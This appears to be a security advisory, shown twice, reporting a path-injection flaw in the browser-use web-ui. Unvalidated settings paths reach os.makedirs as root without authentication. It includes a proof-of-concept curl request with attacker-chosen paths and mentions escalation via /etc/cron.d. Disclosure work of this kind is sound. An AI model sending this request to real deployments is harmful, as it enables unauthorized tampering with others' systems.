reported on 2 June 2026 https://github.com/browser-use/web-ui/security/advisories/GHSA-rhgp-gc2v-fjf7 - no response.
Summary
The web-ui application passes user-supplied directory paths directly to os.makedirs() without validation. Four browser settings fields -- Recording Path, Trace Path, Agent History Save Path, and Save Directory for browser downloads -- are submitted as part of the submit_wrapper API call and immediately used to create directories server-side. Because the application runs as root inside its Docker container and no authentication is required, an unauthenticated network user can create directories at arbitrary paths within the container filesystem.
Details
In src/webui/components/browser_use_agent_tab.py, the run_agent_task function reads four path values from user-supplied component data and passes them directly to os.makedirs:
# browser_use_agent_tab.py lines 395-411
save_recording_path = get_browser_setting("save_recording_path") or None
save_trace_path = get_browser_setting("save_trace_path") or None
save_agent_history_path = get_browser_setting(
"save_agent_history_path", "./tmp/agent_history"
)
save_download_path = get_browser_setting("save_download_path", "./tmp/downloads")
...
os.makedirs(save_agent_history_path, exist_ok=True)
if save_recording_path:
os.makedirs(save_recording_path, exist_ok=True)
if save_trace_path:
os.makedirs(save_trace_path, exist_ok=True)
if save_download_path:
os.makedirs(save_download_path, exist_ok=True)
No path normalization, allowlist check, or containment validation is applied to any of these values. Compare this to the Deep Research agent tab, which does validate its save directory:
# deep_research_agent_tab.py lines 78-83 (correctly validated)
safe_root_dir = "./tmp/deep_research"
normalized_base_save_dir = os.path.abspath(os.path.normpath(base_save_dir))
if os.path.commonpath([normalized_base_save_dir, os.path.abspath(safe_root_dir)]) != os.path.abspath(safe_root_dir):
logger.warning(f"Unsafe base_save_dir detected: {base_save_dir}. Using default directory.")
normalized_base_save_dir = os.path.abspath(safe_root_dir)
The browser agent tab has no equivalent check. The os.makedirs calls execute before LLM initialization is attempted (lines 405-411 precede the _initialize_llm call at line 414), so directory creation occurs even when the provided API key is invalid and the agent task ultimately fails.
The Dockerfile runs the application as root:
$ docker exec webuivr_app id
uid=0(root) gid=0(root) groups=0(root)
This means os.makedirs can write to any path the container filesystem permits.
Additionally, a UUID subdirectory is created under save_agent_history_path before the LLM check:
# browser_use_agent_tab.py lines 498-503
webui_manager.bu_agent_task_id = str(uuid.uuid4())
os.makedirs(
os.path.join(save_agent_history_path, webui_manager.bu_agent_task_id),
exist_ok=True,
)
PoC
Prerequisites: web-ui running at http://TARGET:7788, no authentication (default). No valid LLM API key is needed.
Step 1. Call submit_wrapper with attacker-controlled path values:
curl -s -X POST "http://TARGET:7788/gradio_api/queue/join" \
-H "Content-Type: application/json" \
-d '{
"data": [
"","",null,"","openai","gpt-4o",0.6,true,16000,"","FAKE_KEY_NO_REAL_LLM",
null,null,0.6,false,16000,"","",100,10,128000,"auto","","",
false,true,true,false,1280,1100,"","",
"/tmp/ATTACKER_RECORDING",
"/tmp/ATTACKER_TRACE",
"/tmp/ATTACKER_HISTORY",
"/tmp/ATTACKER_DOWNLOADS",
[],"Test task","Stop","Pause","Clear","Submit","<div></div>",null,null
],
"fn_index": 9,
"session_hash": "poc_path_inject_001"
}'
Step 2. Verify directories were created (run on the host):
docker exec CONTAINER ls -la /tmp/ATTACKER_HISTORY /tmp/ATTACKER_RECORDING \
/tmp/ATTACKER_TRACE /tmp/ATTACKER_DOWNLOADS
Expected output (confirmed live):
drwxr-xr-x 3 root root 60 Jun 2 02:39 /tmp/ATTACKER_HISTORY
drwxr-xr-x 2 root root 40 Jun 2 02:39 /tmp/ATTACKER_DOWNLOADS
drwxr-xr-x 2 root root 40 Jun 2 02:39 /tmp/ATTACKER_RECORDING
drwxr-xr-x 2 root root 40 Jun 2 02:39 /tmp/ATTACKER_TRACE
A UUID subdirectory was also created under /tmp/ATTACKER_HISTORY before the LLM call failed.
Confirmed live on commit 6196229, Gradio 5.27.0, container running as root (uid=0).
Impact
An unauthenticated attacker with network access to the web-ui service can create directories at arbitrary paths within the container filesystem. Since the process runs as root, paths such as /etc/cron.d/, /usr/local/bin/, or application-specific configuration directories can be created. In conjunction with a subsequent file write primitive (for example, when a valid LLM key is available and an agent task completes, save_history() writes a JSON file to the attacker-specified path), this escalates to arbitrary file write. Even without file write, directory creation at sensitive paths can disrupt supervisord, logging, or process management in long-running deployments.
The Deep Research tab correctly validates and confines its save directory to ./tmp/deep_research. The browser agent tab has no equivalent guard and should apply the same pattern.
reported on 2 June 2026 https://github.com/browser-use/web-ui/security/advisories/GHSA-rhgp-gc2v-fjf7 - no response.
Summary
The web-ui application passes user-supplied directory paths directly to
os.makedirs()without validation. Four browser settings fields -- Recording Path, Trace Path, Agent History Save Path, and Save Directory for browser downloads -- are submitted as part of thesubmit_wrapperAPI call and immediately used to create directories server-side. Because the application runs as root inside its Docker container and no authentication is required, an unauthenticated network user can create directories at arbitrary paths within the container filesystem.Details
In
src/webui/components/browser_use_agent_tab.py, therun_agent_taskfunction reads four path values from user-supplied component data and passes them directly toos.makedirs:No path normalization, allowlist check, or containment validation is applied to any of these values. Compare this to the Deep Research agent tab, which does validate its save directory:
The browser agent tab has no equivalent check. The
os.makedirscalls execute before LLM initialization is attempted (lines 405-411 precede the_initialize_llmcall at line 414), so directory creation occurs even when the provided API key is invalid and the agent task ultimately fails.The Dockerfile runs the application as root:
This means
os.makedirscan write to any path the container filesystem permits.Additionally, a UUID subdirectory is created under
save_agent_history_pathbefore the LLM check:PoC
Prerequisites: web-ui running at
http://TARGET:7788, no authentication (default). No valid LLM API key is needed.Step 1. Call
submit_wrapperwith attacker-controlled path values:Step 2. Verify directories were created (run on the host):
docker exec CONTAINER ls -la /tmp/ATTACKER_HISTORY /tmp/ATTACKER_RECORDING \ /tmp/ATTACKER_TRACE /tmp/ATTACKER_DOWNLOADSExpected output (confirmed live):
A UUID subdirectory was also created under
/tmp/ATTACKER_HISTORYbefore the LLM call failed.Confirmed live on commit 6196229, Gradio 5.27.0, container running as root (uid=0).
Impact
An unauthenticated attacker with network access to the web-ui service can create directories at arbitrary paths within the container filesystem. Since the process runs as root, paths such as
/etc/cron.d/,/usr/local/bin/, or application-specific configuration directories can be created. In conjunction with a subsequent file write primitive (for example, when a valid LLM key is available and an agent task completes,save_history()writes a JSON file to the attacker-specified path), this escalates to arbitrary file write. Even without file write, directory creation at sensitive paths can disrupt supervisord, logging, or process management in long-running deployments.The Deep Research tab correctly validates and confines its save directory to
./tmp/deep_research. The browser agent tab has no equivalent guard and should apply the same pattern.